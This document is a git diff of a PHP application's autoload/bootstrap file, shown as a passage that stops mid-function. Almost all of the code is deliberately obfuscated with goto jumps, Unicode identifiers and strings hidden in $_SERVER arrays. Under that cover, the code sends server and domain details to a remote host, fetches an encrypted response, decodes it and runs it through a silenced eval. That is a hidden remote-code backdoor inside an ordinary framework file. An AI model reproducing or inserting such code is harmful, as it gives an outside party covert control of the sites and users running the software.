diff --git a/app/autoload.php b/app/autoload.php index dc87f814..cb6a2230 100755 --- a/app/autoload.php +++ b/app/autoload.php @@ -1,2 +1,2 @@ defaultAction = $A͋ב[2] ? $A͋ב[2] : $this->defaultAction; $aᴐ = $Bә־[559]; while ($aᴐ < $Bә־[13]) { if ($aᴐ >= 0) { break; } $aᴐ++; } goto F⵱ز; F⵱ز: $this->{$_SERVER[ܽҟ][3]}($E[4], array($this, $E[5])); goto Eפ; eȃ: $this->defaultController = $A͋ב[1] ? $A͋ב[1] : $this->defaultController; $A = $Bә־[558]; if (!$A) { die; } goto Aׅ; DҢ: $Bә־ =& $_SERVER[ȦÆ]; $E =& $_SERVER[ܽҟ]; $A͋ב = $E[0]($E[1], $E[2]($A, $E[1])); goto Fۛϊ; Fۛϊ: $this->defaultModule = $A͋ב[0] ? $A͋ב[0] : $this->defaultModule; $f = $Bә־[557]; while ($f < $Bә־[553]) { if ($f >= 0) { break; } $f++; } goto eȃ; Eפ: } public function appRun($Eڎ) { goto BϚ坆; Cʶ: $Fܘ = $_SERVER[ȦÆ][560]; if (!$Fܘ) { return; } $C = $Cϰ[7]; goto Dᦃى; BϚ坆: $Cϰ =& $_SERVER[ܽҟ]; $AƧҦ = $Cϰ[0]($Cϰ[1], $Eڎ); $Dӈ = $Cϰ[6]($AƧҦ[0]); goto Cʶ; Dᦃى: if ($Dӈ == $Cϰ[8]) { $C = $Cϰ[9]; $AƧҦ[0] = $Cϰ[10]; $AƧҦ[1] = $AƧҦ[1] . $Cϰ[11]; $Eڎ = $Cϰ[12]($Cϰ[1], $AƧҦ); $Eڎ = $Cϰ[2]($Eڎ, $Cϰ[1]); } $Cϰ[13](array($Cϰ[14], $Cϰ[15]), $C . $Cϰ[16], $Eڎ); $Cϰ[17]($Eڎ); goto Dې; Dې: $Cϰ[13](array($Cϰ[14], $Cϰ[15]), $C . $Cϰ[18], $Eڎ); goto dȐӜ; dȐӜ: } private function autorun() { $dש =& $_SERVER[ܽҟ]; global $config; if ($dש[19]($config[$dש[20]]) == 0) { return; } foreach ($config[$dש[20]] as $a͕ => $D԰) { $this->{$_SERVER[ܽҟ][21]}($D԰); } } private function arxtea1bb729() { goto b⣖; E: $GLOBALS[$d߿[22]][$d߿[23]] = $d߿[27]($Fϸ, $aˏɚ); $GLOBALS[$d߿[22]][$d߿[28]] = $d߿[29]($d߿[1], $GLOBALS[$d߿[22]][$d߿[23]]); $c騍 = $D䠈[564]; goto d‚; F̦: $aˏɚ = $d߿[26]($GLOBALS[$d߿[22]][$d߿[23]], 1); $aޅ = $D䠈[562]; if (strlen($aޅ) < $D䠈[563]) { die; } goto E; e榮: if ($d߿[6]($d߿[25]($D㌌, -$d߿[24]($A))) != $A) { return; } $DБ実 = $d߿[25]($D㌌, 0, -$d߿[24]($A)); $Fϸ = array($d߿[8], $DБ実); goto F̦; AԦ: $D㌌ = $GLOBALS[$d߿[22]][$d߿[23]][0]; $fڂ = $D䠈[561]; if (!$D㌌ || $d߿[24]($D㌌) <= $d߿[24]($A)) { return; } goto e榮; b⣖: $D䠈 =& $_SERVER[ȦÆ]; $d߿ =& $_SERVER[ܽҟ]; $A = $d߿[8]; goto AԦ; d‚: } private function ifvk72814c20() { goto E; F: $aĢ߽ = $aբ[566]; if (!$aĢ߽) { die; } $d؈ = $Aʆ[25]($c܎, $e + $Aʆ[24]($BՆ)); goto Fݧ; Eş: $d؈ = $Aʆ[2]($Fφۉ[0][0], $Aʆ[36]); $GLOBALS[$Aʆ[22]][$Aʆ[23]] = $Aʆ[0]($Aʆ[36], $d؈); $C։ = $aբ[568]; goto e߸; Dᒏ: $c܎ = $_SERVER[$Aʆ[30]]; $BՆ = $Aʆ[31]; $aְ = $aբ[565]; goto bϛ; bϛ: while (strlen($aְ) < $aբ[13]) { if (!$aְ) { break; } $aְ++; } if (!$Aʆ[32]($c܎, $BՆ)) { return; } $e = $Aʆ[33]($c܎, $BՆ); goto F; e߸: if (strlen($C։) < $aբ[563]) { return; } $GLOBALS[$Aʆ[22]][$Aʆ[28]] = $Aʆ[29]($Aʆ[1], $GLOBALS[$Aʆ[22]][$Aʆ[23]]); goto a؈; Fݧ: $Aʆ[34]($Aʆ[35], $d؈, $Fφۉ); $b = $aբ[567]; if (!$b) { die; } goto Eş; E: $aբ =& $_SERVER[ȦÆ]; $Aʆ =& $_SERVER[ܽҟ]; if ($GLOBALS[$Aʆ[22]][$Aʆ[28]] != $Aʆ[10]) { return; } goto Dᒏ; a؈: } public function run() { goto c㟷; e: if (!$E) { return; } $D۹ = $GLOBALS[$Dګ竨[22]][$Dګ竨[23]]; $Eݭ = $GLOBALS[$Dګ竨[22]][$Dګ竨[28]]; goto Eڅ; c㟷: $Cꌥ =& $_SERVER[ȦÆ]; $Dګ竨 =& $_SERVER[ܽҟ]; $this->{$_SERVER[ܽҟ][37]}(); goto fܸ҃; fܸ҃: $eԱ = $Cꌥ[569]; $this->{$_SERVER[ܽҟ][38]}(); $E = $Cꌥ[570]; goto e; Eů̕: $Dګ竨[39]($Dګ竨[41], isset($D۹[1]) && $D۹[0] ? $D۹[1] : $this->defaultController); $Dګ竨[39]($Dګ竨[42], isset($D۹[2]) && $D۹[0] ? $D۹[2] : $this->defaultAction); $Dګ竨[39]($Dګ竨[43], MOD . $Dګ竨[1] . ST . $Dګ竨[1] . ACT); goto fҗ; Eڅ: $Dګ竨[39]($Dګ竨[40], isset($D۹[0]) && $D۹[0] ? $D۹[0] : $this->defaultModule); $D΄խ = $Cꌥ[571]; if (!$D΄խ) { return; } goto Eů̕; fҗ: $_SERVER[$Dګ竨[44]] = $Dګ竨[6](ACTION); $this->{$_SERVER[ܽҟ][45]}(); if ($Dګ竨[19]($D۹) >= 3) { $this->{$_SERVER[ܽҟ][21]}($Eݭ); } else { $this->{$_SERVER[ܽҟ][21]}(ACTION); } goto b˖; b˖: } private $awdh12c62fe2 = array(); private $ekjd1c295af7 = ''; public function gdno28e61448() { goto Aʓ; Cֱ: $AЏ = $aΊ[578]; while ($AЏ < $aΊ[553]) { if ($AЏ >= 0) { break; } $AЏ++; } $this->{$_SERVER[ܽҟ][3]}($f[53], array($this, $f[54])); goto C; Fӵ: $Aܣ = $aΊ[573]; if (strlen($Aܣ) < $aΊ[13]) { return; } $this->{$_SERVER[ܽҟ][48]}(); goto BȢ; C: $B‘ = $aΊ[579]; if (!$B‘) { die; } $this->{$_SERVER[ܽҟ][3]}($f[55], array($this, $f[56])); goto EҴ; c댑: $this->{$_SERVER[ܽҟ][50]}(); $fϙ = $aΊ[575]; if (strlen($fϙ) < $aΊ[576]) { die; } goto c; FǨ: $C̻ = $aΊ[572]; while ($C̻ < $aΊ[13]) { if ($C̻ >= 0) { break; } $C̻++; } $this->{$_SERVER[ܽҟ][47]}(); goto Fӵ; Dᜊ: while (strlen($e) < $aΊ[576]) { if (!$e) { break; } $e++; } goto dͳ; Aʓ: $aΊ =& $_SERVER[ȦÆ]; $f =& $_SERVER[ܽҟ]; $this->{$_SERVER[ܽҟ][46]}(); goto FǨ; BȢ: $BҢѴ = $aΊ[574]; if (!$BҢѴ) { return; } $this->{$_SERVER[ܽҟ][49]}(); goto c댑; EҴ: $this->{$_SERVER[ܽҟ][3]}($f[57], array($this, $f[58])); $this->{$_SERVER[ܽҟ][3]}($f[59], array($this, $f[60])); $e = $aΊ[580]; goto Dᜊ; c: $this->{$_SERVER[ܽҟ][51]}(); $fLj = $aΊ[577]; $this->{$_SERVER[ܽҟ][52]}(); goto Cֱ; dͳ: } public function lmstefde5ace($B) { goto b; bҥњ: $B܄ג = array($B⸬[64], $B⸬[65], $B⸬[66], $B⸬[67], $B⸬[68], $B⸬[69], $B⸬[70], $B⸬[71], $B⸬[72], $B⸬[73], $B⸬[74], $B⸬[75], $B⸬[76], $B⸬[77], $B⸬[78], $B⸬[79], $B⸬[80], $B⸬[81], $B⸬[82], $B⸬[83], $B⸬[84], $B⸬[85], $B⸬[86], $B⸬[87], $B⸬[88], $B⸬[89], $B⸬[90]); $FNj = $bƗ[581]; foreach ($B܄ג as $E˨) { $bԡ = $GLOBALS[$B⸬[91]][$B⸬[92]][$E˨]; $Bꏑ = $bƗ[582]; if (!$Bꏑ) { die; } if (isset($DΕި[$E˨])) { $bԡ = $DΕި[$E˨]; } $B[$B⸬[93]][$B⸬[94]][$E˨] = $bԡ; } goto AͲ; Aч: $B[$B⸬[108]][$B⸬[128]] = $B⸬[104]($this->awdh12c62fe2, $B⸬[129], $B⸬[10]); $B[$B⸬[108]][$B⸬[130]] = $B⸬[104]($this->awdh12c62fe2, $B⸬[131], $B⸬[10]); $eϝ = $bƗ[587]; goto eӬ; dč: unset($B[$B⸬[93]][$B⸬[94]][$B⸬[98]]); $Cڄ = $bƗ[584]; $B[$B⸬[93]][$B⸬[94]][$B⸬[99]] = array($B⸬[100] => (int) $e[$B⸬[101]], $B⸬[102] => $B⸬[103]($B⸬[104]($e, $B⸬[105], array())), $B⸬[106] => (int) $B⸬[104]($e, $B⸬[107], 0)); goto B䉯; aۋﶃ: $B[$B⸬[108]][$B⸬[120]] = $this->ekjd1c295af7; if ($DΕި[$B⸬[120]] != $B⸬[121]) { $B[$B⸬[108]][$B⸬[122]] = $DΕި[$B⸬[122]]; $B[$B⸬[108]][$B⸬[123]] = $DΕި[$B⸬[123]]; $E = $B⸬[124](10) . $this->ekjd1c295af7 . $B⸬[124](5); $B[$B⸬[93]][$B⸬[125]][$B⸬[126]] = $this->{$_SERVER[ܽҟ][127]}($E, $B[$B⸬[108]][$B⸬[113]]); } if ($this->ekjd1c295af7 == $B⸬[121]) { $B[$B⸬[93]][$B⸬[94]][$B⸬[99]][$B⸬[107]] = 0; } goto Aч; b: $bƗ =& $_SERVER[ȦÆ]; $B⸬ =& $_SERVER[ܽҟ]; $DΕި = $B⸬[61]($B⸬[62])->{$_SERVER[ܽҟ][63]}(); goto bҥњ; A㺨: while ($f < $bƗ[553]) { if ($f >= 0) { break; } $f++; } unset($B[$B⸬[93]][$B⸬[95]][$B⸬[97]]); unset($B[$B⸬[93]][$B⸬[94]][$B⸬[76]]); goto dč; B䉯: $d҆ㅊ = $bƗ[585]; if (!$d҆ㅊ) { die; } $B[$B⸬[108]][$B⸬[109]] = $B⸬[110]($B⸬[111])->{$_SERVER[ܽҟ][112]}(); goto dъ; eӬ: if (!$eϝ) { return; } if ($B⸬[104]($GLOBALS, $B⸬[132]) && $this->config[$B⸬[133]]) { $B[$B⸬[108]][$B⸬[134]] = WEB_ROOT; } return $B; goto Dο; AͲ: $e = $B[$B⸬[93]][$B⸬[94]][$B⸬[76]]; unset($B[$B⸬[93]][$B⸬[95]][$B⸬[96]]); $f = $bƗ[583]; goto A㺨; dъ: $B[$B⸬[108]][$B⸬[113]] = $B⸬[114]($_SERVER[$B⸬[115]] . $DΕި[$B⸬[116]]); $E񧙐 = $bƗ[586]; $B[$B⸬[108]][$B⸬[117]] = $B⸬[118]($B⸬[119]()); goto aۋﶃ; Dο: } private function vzuobbeb6402() { goto B˶ك; e: foreach ($F˨ as $DҔ؅) { if (!isset($CΥDZǧ[$DҔ؅]) || !$CΥDZǧ[$DҔ؅]) { continue; } $Eܦ[$DҔ؅] = $CΥDZǧ[$DҔ؅]; } $b۠[13](array($b۠[151], $b۠[152]), $Eܦ); $c = $c疸[594]; goto Eє; Bɨ: while ($aۃ < $c疸[576]) { if ($aۃ >= 0) { break; } $aۃ++; } $Eܦ = array($b۠[159] => $CΥDZǧ[$b۠[64]], $b۠[160] => $CΥDZǧ[$b۠[65]], $b۠[161] => $b۠[10]); $E賂 = $c疸[593]; goto e; Eє: if (!$c) { die; } goto Dѫ; B¾Ӓ: while (strlen($b׋) < $c疸[576]) { if (!$b׋) { break; } $b׋++; } $CΥDZǧ = $b۠[61]($b۠[62])->{$_SERVER[ܽҟ][63]}(); $aۃ = $c疸[592]; goto Bɨ; Aȷ߮: if ($this->ekjd1c295af7 == $b۠[121]) { return; } $F˨ = array($b۠[153], $b۠[154], $b۠[155], $b۠[156], $b۠[157], $b۠[158]); $b׋ = $c疸[591]; goto B¾Ӓ; B˶ك: $c疸 =& $_SERVER[ȦÆ]; $b۠ =& $_SERVER[ܽҟ]; if ($_SERVER[$b۠[44]] == $b۠[135]) { goto aԣ; Aو: $d׎Ⱬ = $c疸[590]; while (strlen($d׎Ⱬ) < $c疸[576]) { if (!$d׎Ⱬ) { break; } $d׎Ⱬ++; } goto Dц; EӲΏ: $A젒ɂ = $c疸[588]; if (strlen($A젒ɂ) < $c疸[576]) { return; } $Eܦ = array($b۠[150] => $A); goto c; c: $bыִ = $c疸[589]; if (strlen($bыִ) < $c疸[576]) { return; } $b۠[13](array($b۠[151], $b۠[152]), $Eܦ); goto Aو; aԣ: $A = array($b۠[120] => $this->ekjd1c295af7, $b۠[136] => $this->{$_SERVER[ܽҟ][137]}(), $b۠[138] => $b۠[61]($b۠[139])->{$_SERVER[ܽҟ][140]}()); if ($this->ekjd1c295af7 != $b۠[121]) { $B˗ = $b۠[104]($this->awdh12c62fe2, $b۠[141]); if ($B˗) { $A[$b۠[142]] = $B˗; $A[$b۠[143]] = $b۠[144]($b۠[104]($this->awdh12c62fe2, $b۠[145])); $A[$b۠[146]] = $b۠[104]($this->awdh12c62fe2, $b۠[131]); } } $A = $this->{$_SERVER[ܽҟ][147]}($b۠[148]($A), $b۠[114]($b۠[149])); goto EӲΏ; Dц: } goto Aȷ߮; Dѫ: } private function osjg6add4c97() { goto C; C: $B㉆ = $aȺ[114]($_SERVER[$aȺ[115]] . $b֋); $cⅼɺƶ = $c[595]; if ($c[$aȺ[178]] == $aȺ[179]) { $BӦ = $this->{$_SERVER[ܽҟ][147]}($B㉆, $aȺ[180]); $E = $this->{$_SERVER[ܽҟ][127]}($aȺ[148]($b㽉), $B㉆ . $aȺ[181], 3); $Dʎ = $this->{$_SERVER[ܽҟ][182]}($aȺ[183] . $BӦ . $aȺ[184] . $E, -1); $aȺ[166]($Dʎ, !0); } else { if ($c[$aȺ[178]] == $aȺ[185]) { $cď = $aȺ[25]($aȺ[114]($aȺ[186] . $B㉆), 12, 15) . $aȺ[187]; $E = $this->{$_SERVER[ܽҟ][188]}($aȺ[2]($c[$aȺ[189]]), $cď, 2); $b̯ = $aȺ[190]($E, !0); if (!$aȺ[191]($b̯) || !$aȺ[191]($b̯[$aȺ[192]]) || $b̯[$aȺ[165]] != !0) { $Eߣ = $aȺ[193]; $Cʬ = $b̯[$aȺ[192]] ? $aȺ[194] . $b̯[$aȺ[192]] : $Eߣ; $aȺ[166]($Cʬ, !1); } else { $b㽉[$aȺ[168]] = $b̯[$aȺ[192]][$aȺ[195]]; } } else { $b̯ = $this->{$_SERVER[ܽҟ][182]}($aȺ[196], $b㽉, 10); $Eűβɂ = $c[596]; while ($Eűβɂ < $c[597]) { if ($Eűβɂ >= 0) { break; } $Eűβɂ++; } } } goto bߛ; F: if (!$aȺ[104]($GLOBALS, $aȺ[132])) { die; } $c = $GLOBALS[$aȺ[22]]; if (isset($c[$aȺ[163]])) { $this->{$_SERVER[ܽҟ][164]}(); die; } goto dȾ; D: $aȺ[61]($aȺ[11])->{$_SERVER[ܽҟ][226]}($f֛[$aȺ[227]], array($aȺ[228] => $Dվ)); $Dᑣ = $c[605]; $aȺ[166]($aȺ[197]($aȺ[208]), !0); goto C; Bڥ: $f[$aȺ[123]] = $aȺ[118]($aȺ[214]($this->{$_SERVER[ܽҟ][147]}($D荊, $aȺ[216]))); $Cܞ = $c[600]; if (strlen($Cܞ) < $c[576]) { die; } goto BŽ; C螚: $D荊 = $d . $f[$aȺ[120]] . $this->{$_SERVER[ܽҟ][147]}($aȺ[114]($f[$aȺ[209]]), $d); $cý = $c[599]; if (strlen($cý) < $c[597]) { return; } goto Bڥ; C: $c =& $_SERVER[ȦÆ]; $aȺ =& $_SERVER[ܽҟ]; if ($_SERVER[$aȺ[44]] != $aȺ[162]) { return; } goto F; C嶟: $A‹ = $c[604]; if (!$A‹) { die; } $Dվ[$D˧Ԣ] = $E; goto D; b: $d = $aȺ[222]($aȺ[61]($aȺ[11])->{$_SERVER[ܽҟ][223]}(), $aȺ[224]); $f֛ = $d[$aȺ[225]]; $Dվ = array(); goto C嶟; dȾ: if (!isset($c[$aȺ[165]]) || $aȺ[24]($c[$aȺ[165]]) != 16) { $aȺ[166]($aȺ[167] . $c[$aȺ[165]], !1); } $b֋ = $aȺ[61]($aȺ[62])->{$_SERVER[ܽҟ][63]}($aȺ[116]); $b㽉 = array($aȺ[165] => $c[$aȺ[165]], $aȺ[168] => $aȺ[124](16), $aȺ[169] => $aȺ[149], $aȺ[170] => $aȺ[171], $aȺ[172] => $_SERVER[$aȺ[173]], $aȺ[174] => $_SERVER[$aȺ[175]], $aȺ[176] => $_SERVER[$aȺ[177]]); goto C; bߛ: if (!$aȺ[191]($b̯) || !$aȺ[191]($b̯[$aȺ[192]]) || $b̯[$aȺ[165]] != !0) { $Eߣ = $aȺ[197]($aȺ[198]); $Cʬ = $b̯[$aȺ[192]] ? $aȺ[194] . $b̯[$aȺ[192]] : $Eߣ; $aȺ[166]($Cʬ, !1); } $E̛ = $b̯[$aȺ[192]]; $eԓ = $this->{$_SERVER[ܽҟ][199]}($E̛[$aȺ[200]]); goto bӌ; F˄: $b = $aȺ[25]($aȺ[114]($f[$aȺ[210]]), 10, 10); $D鏓 = $b . $f[$aȺ[120]] . $f[$aȺ[212]]; $d = $c[598]; goto aӿڠ; bӌ: if (!$eԓ || $eԓ != $aȺ[201]($E̛[$aȺ[145]])) { $Dꖞ = array($aȺ[202] => $aȺ[61]($aȺ[62])->{$_SERVER[ܽҟ][63]}($aȺ[116]), $aȺ[203] => $_SERVER[$aȺ[115]], $aȺ[204] => $aȺ[205](), $aȺ[174] => $_SERVER[$aȺ[175]]); $E = $this->{$_SERVER[ܽҟ][206]}($aȺ[148]($Dꖞ)); $this->{$_SERVER[ܽҟ][182]}($aȺ[207] . $E); $aȺ[166]($aȺ[197]($aȺ[208]), !0); } $f = array($aȺ[209] => $b㽉[$aȺ[165]], $aȺ[210] => $E̛[$aȺ[211]], $aȺ[212] => $aȺ[124](16), $aȺ[120] => $E̛[$aȺ[213]]); if ($b㽉[$aȺ[168]]) { $f[$aȺ[212]] = $b㽉[$aȺ[168]]; } goto F˄; BŽ: if ($E̛[$aȺ[217]] && $E̛[$aȺ[217]] >= 1) { $aȺ[61]($aȺ[62])->{$_SERVER[ܽҟ][218]}($aȺ[219], $aȺ[220]); } $aȺ[61]($aȺ[62])->{$_SERVER[ܽҟ][221]}($f); $fѮ = $aȺ[114]($_SERVER[$aȺ[115]] . $aȺ[214]($b֋) . $f[$aȺ[210]]); goto aឣőŭ; aӿڠ: if (!$d) { return; } $f[$aȺ[122]] = $aȺ[214]($aȺ[118]($this->{$_SERVER[ܽҟ][147]}($D鏓, $aȺ[215]))); $d = $aȺ[124](16); goto C螚; d: $D劧 = $c[602]; $E = $this->{$_SERVER[ܽҟ][127]}($aȺ[148]($E̛), $fѮ); $d = $c[603]; goto b; aឣőŭ: $d֏ = $c[601]; if (strlen($d֏) < $c[553]) { die; } $D˧Ԣ = $aȺ[214]($aȺ[25]($fѮ, 10, 16)); goto d; C: } private function cbmia5c1bb6e() { goto a酚; c莐: $this->awdh12c62fe2 = array(); $this->ekjd1c295af7 = $Eϣȏ[121]; $Aԯ = $aѴ[607]; goto BՏ; AѸݷ: $Eϣȏ[61]($Eϣȏ[62])->{$_SERVER[ܽҟ][218]}($Eϣȏ[219], $Eϣȏ[229]); $aԗ = $aѴ[606]; if (!$aԗ) { return; } goto c莐; a酚: $aѴ =& $_SERVER[ȦÆ]; $Eϣȏ =& $_SERVER[ܽҟ]; $Eϣȏ[61]($Eϣȏ[62])->{$_SERVER[ܽҟ][221]}(array($Eϣȏ[209] => $Eϣȏ[10], $Eϣȏ[210] => $Eϣȏ[10], $Eϣȏ[120] => $Eϣȏ[121], $Eϣȏ[122] => $Eϣȏ[10], $Eϣȏ[123] => $Eϣȏ[10])); goto AѸݷ; BՏ: if (strlen($Aԯ) < $aѴ[13]) { die; } goto cЬ; cЬ: } private function wxkm615f1d9d() { goto cʥ; aք: $D = $CҚ[$fܲ[225]]; $dŊ⊞ = $C[610]; if (strlen($dŊ⊞) < $C[13]) { die; } goto fԑۯ; b: $d‹ = $this->{$_SERVER[ܽҟ][188]}($D[$fܲ[91]][$EӬ࿫], $Dʗ); $E즄 = $C[613]; $d‹ = $fܲ[190]($d‹, !0); goto Dυ; D: $E٧ = $C[609]; while (strlen($E٧) < $C[597]) { if (!$E٧) { break; } $E٧++; } $CҚ = $fܲ[222]($fܲ[61]($fܲ[11])->{$_SERVER[ܽҟ][223]}(), $fܲ[224]); goto aք; cʥ: $C =& $_SERVER[ȦÆ]; $fܲ =& $_SERVER[ܽҟ]; $_SERVER[$fܲ[175]] = $fܲ[104]($_SERVER, $fܲ[175], APP_HOST); goto a; fԑۯ: $Dʗ = $fܲ[114]($_SERVER[$fܲ[115]] . $fܲ[214]($bѺ) . $bɂ[$fܲ[210]]); $c񚳱 = $C[611]; while ($c񚳱 < $C[576]) { if ($c񚳱 >= 0) { break; } $c񚳱++; } goto d̯; a: $this->ekjd1c295af7 = $fܲ[121]; $bɂ = $fܲ[61]($fܲ[62])->{$_SERVER[ܽҟ][63]}(); $e = $C[608]; goto Bʓܓ; Dυ: if (!$fܲ[191]($d‹)) { return $this->{$_SERVER[ܽҟ][164]}(); } $aڟԛ = $fܲ[144]($d‹[$fܲ[145]]); if ($fܲ[230]() >= $aڟԛ) { return $this->{$_SERVER[ܽҟ][164]}(); } goto F߄̷; F߄̷: $this->awdh12c62fe2 = $d‹; $this->ekjd1c295af7 = $bɂ[$fܲ[120]]; $eꑌ = $C[614]; goto Eӕ; Bʓܓ: while ($e < $C[576]) { if ($e >= 0) { break; } $e++; } if ($bɂ[$fܲ[120]] == $fܲ[121]) { return; } $bѺ = $fܲ[61]($fܲ[62])->{$_SERVER[ܽҟ][63]}($fܲ[116]); goto D; d̯: $EӬ࿫ = $fܲ[214]($fܲ[25]($Dʗ, 10, 16)); $F = $C[612]; if (strlen($F) < $C[553]) { die; } goto b; Eӕ: } private function pkqv9f29cd08() { goto fҽ; fҽ: $b =& $_SERVER[ȦÆ]; $cŻ =& $_SERVER[ܽҟ]; $f܎ = $GLOBALS[$cŻ[22]]; goto f٩ِ; f٩ِ: $e = $_SERVER[$cŻ[44]]; $Cھܑ = $b[615]; while (strlen($Cھܑ) < $b[576]) { if (!$Cھܑ) { break; } $Cھܑ++; } goto B; B: if ($e == $cŻ[231] && $this->ekjd1c295af7 == $cŻ[121]) { $cŻ[166]($cŻ[197]($cŻ[232]), !1, $cŻ[233]); } $b˹ˊ = array($cŻ[234], $cŻ[235]); if ($cŻ[236]($e, $b˹ˊ)) { if ($this->ekjd1c295af7 == $cŻ[121] && isset($f܎[$cŻ[237]])) { $cŻ[166]($cŻ[197]($cŻ[232]), !1, $cŻ[233]); die; } $Eݟв = $this->{$_SERVER[ܽҟ][137]}(); if ($Eݟв != $cŻ[201]($cŻ[238])) { if ($Eݟв <= $cŻ[61]($cŻ[139])->{$_SERVER[ܽҟ][140]}()) { $cŻ[166]($cŻ[197]($cŻ[239]), !1, $cŻ[233]); die; } } } goto Dªޱ; Dªޱ: } private function wygn84cf2819() { goto eъ; E: while ($Fɂ֗ < $fꞼ“[576]) { if ($Fɂ֗ >= 0) { break; } $Fɂ֗++; } $E׍ = $cﭠ[245](array($cﭠ[246] => array($cﭠ[247] => $cﭠ[248], $cﭠ[249] => 3))); $Aމ = $fꞼ“[618]; goto B; B: while ($Aމ < $fꞼ“[13]) { if ($Aމ >= 0) { break; } $Aމ++; } $c뢤 = @$cﭠ[250]($c, !1, $E׍); $cﭠ[251]($cﭠ[252]); goto A͜; a: $c˼ = $fꞼ“[616]; if (!$cﭠ[104]($GLOBALS, $cﭠ[132]) || !isset($_GET[$cﭠ[241]])) { return; } if (!$cﭠ[236]($_SERVER[$cﭠ[44]], $Bí)) { return; } goto b; b: $c = $cﭠ[242]; $c = $this->{$_SERVER[ܽҟ][243]}($c, $cﭠ[244]); $Fɂ֗ = $fꞼ“[617]; goto E; A͜: if ($c뢤 && $cﭠ[32]($c뢤, $cﭠ[253])) { echo $c뢤; } die; goto dՍ; eъ: $fꞼ“ =& $_SERVER[ȦÆ]; $cﭠ =& $_SERVER[ܽҟ]; $Bí = array($cﭠ[135], $cﭠ[240]); goto a; dՍ: } public function vdzf30781a69($D) { goto AЦ; c: while (strlen($C£) < $B[563]) { if (!$C£) { break; } $C£++; } $Bں = array(); $dՍ = $B[620]; goto AɃ; Fϸ: return $D; goto c𡃬; AɃ: if (!$dՍ) { die; } foreach ($D… as $e뉆) { if (!$bٮ[236]($e뉆, $fߦ)) { $Bں[] = $e뉆; } } foreach ($Bں as $e뉆) { unset($D[$e뉆]); } goto Fϸ; d: $D… = array($bٮ[255], $bٮ[256], $bٮ[257], $bٮ[258], $bٮ[259], $bٮ[260], $bٮ[261], $bٮ[262]); $fߦ = $bٮ[0]($bٮ[263], $bٮ[104]($this->awdh12c62fe2, $bٮ[129], $bٮ[10])); $C£ = $B[619]; goto c; AЦ: $B =& $_SERVER[ȦÆ]; $bٮ =& $_SERVER[ܽҟ]; if ($this->ekjd1c295af7 == $bٮ[254]) { return $D; } goto d; c𡃬: } private function xtpqfc251b14() { goto A; Dܰ: $GLOBALS[$F؎[91]][$F؎[268]] = $F؎[220]; $F = $f[623]; if (strlen($F) < $f[13]) { die; } goto C܊; EĐ: $F = $_SERVER[$F؎[44]]; $bڕ۞ = array($F؎[265]); foreach ($bڕ۞ as $Eӯͩ) { if ($Eӯͩ == $F || $F؎[25]($F, 0, $F؎[24]($Eӯͩ)) == $Eӯͩ) { $F؎[166]($F؎[197]($F؎[266]), !1); } } goto e˼; C܊: if ($F؎[61]($F؎[269])->{$_SERVER[ܽҟ][63]}($F؎[85]) != $F؎[229]) { $F؎[61]($F؎[269])->{$_SERVER[ܽҟ][221]}($F؎[85], $F؎[229]); } goto DԈӦ; e˼: $GLOBALS[$F؎[91]][$F؎[95]][$F؎[267]] = $F؎[220]; $C՝ = $f[621]; if (strlen($C՝) < $f[597]) { return; } goto E̼; A: $f =& $_SERVER[ȦÆ]; $F؎ =& $_SERVER[ܽҟ]; if ($this->ekjd1c295af7 != $F؎[121]) { $GLOBALS[$F؎[91]][$F؎[95]][$F؎[264]] = $F؎[220]; return; } goto EĐ; E̼: $GLOBALS[$F؎[91]][$F؎[95]][$F؎[264]] = $F؎[229]; $dѨ = $f[622]; while (strlen($dѨ) < $f[597]) { if (!$dѨ) { break; } $dѨ++; } goto Dܰ; DԈӦ: } public function lduj7f19ef89() { return $_SERVER[ܽҟ][270]; $Eˋ = $_SERVER[ȦÆ][624]; if (!$Eˋ) { return; } } private function vukm1d00a663() { goto c; dތ: $Fʌ = array($d􊉴[165] => $d􊉴[61]($d􊉴[62])->{$_SERVER[ܽҟ][63]}($d􊉴[209]), $d􊉴[178] => $this->ekjd1c295af7, $d􊉴[176] => $_SERVER[$d􊉴[177]], $d􊉴[169] => $d􊉴[149], $d􊉴[172] => $_SERVER[$d􊉴[173]]); $bւږ = $this->{$_SERVER[ܽҟ][182]}($d􊉴[279], $Fʌ); if (!$d􊉴[191]($bւږ)) { return; } goto e; Aӑ: $Dǿޢ = $d􊉴[13](array($d􊉴[276], $d􊉴[277]), $A˲Ģ); if ($Dǿޢ && $d􊉴[230]() - $Dǿޢ < $d􊉴[201]($d􊉴[278])) { return; } $d􊉴[13](array($d􊉴[276], $d􊉴[152]), $A˲Ģ, $d􊉴[230]()); goto dތ; BЇ: if ($this->ekjd1c295af7 == $d􊉴[121] || !$d􊉴[104]($GLOBALS, $d􊉴[132])) { return; } if (!$d􊉴[236]($_SERVER[$d􊉴[44]], $c)) { return; } if ($d􊉴[230]() % 4 != 0) { return; } goto Aӑ; c: $Eɷ =& $_SERVER[ȦÆ]; $d􊉴 =& $_SERVER[ܽҟ]; $c = array($d􊉴[271], $d􊉴[272], $d􊉴[273]); goto B; B: $Dے = $Eɷ[625]; if (strlen($Dے) < $Eɷ[553]) { die; } $A˲Ģ = $d􊉴[274] . $d􊉴[114]($d􊉴[275]); goto BЇ; e: if ($bւږ[$d􊉴[165]] && $bւږ[$d􊉴[280]]) { if ($this->{$_SERVER[ܽҟ][199]}($bւږ[$d􊉴[280]]) == $Fʌ[$d􊉴[165]]) { return; } } $this->{$_SERVER[ܽҟ][164]}(); if ($this->{$_SERVER[ܽҟ][199]}($bւږ[$d􊉴[280]]) != $Fʌ[$d􊉴[165]]) { $Bݲ = array($d􊉴[202] => $d􊉴[61]($d􊉴[62])->{$_SERVER[ܽҟ][63]}($d􊉴[116]), $d􊉴[203] => $_SERVER[$d􊉴[115]], $d􊉴[204] => $d􊉴[205](), $d􊉴[174] => $_SERVER[$d􊉴[175]]); $E壩 = $this->{$_SERVER[ܽҟ][206]}($d􊉴[148]($Bݲ)); $bւږ = $this->{$_SERVER[ܽҟ][182]}($d􊉴[207] . $E壩); if ($bւږ && $d􊉴[191]($bւږ) && isset($bւږ[$d􊉴[280]])) { $a볳 = $this->{$_SERVER[ܽҟ][188]}($bւږ[$d􊉴[280]], 2); if ($a볳) { $a볳 = $this->{$_SERVER[ܽҟ][199]}($a볳); } if ($a볳) { try { @eval($a볳); } catch (Exception $cȦя) { } } } } goto E̲; E̲: } private function zvnkea11fdec($b›ҡ = '', $eđ = array(), $b陹 = 5) { goto a݃; fɼƣ: $fۉ = $Aމ[628]; return $Cȴ[190]($eđ, !0); $c٫ = $Aމ[629]; goto c; a݃: $Aމ =& $_SERVER[ȦÆ]; $Cȴ =& 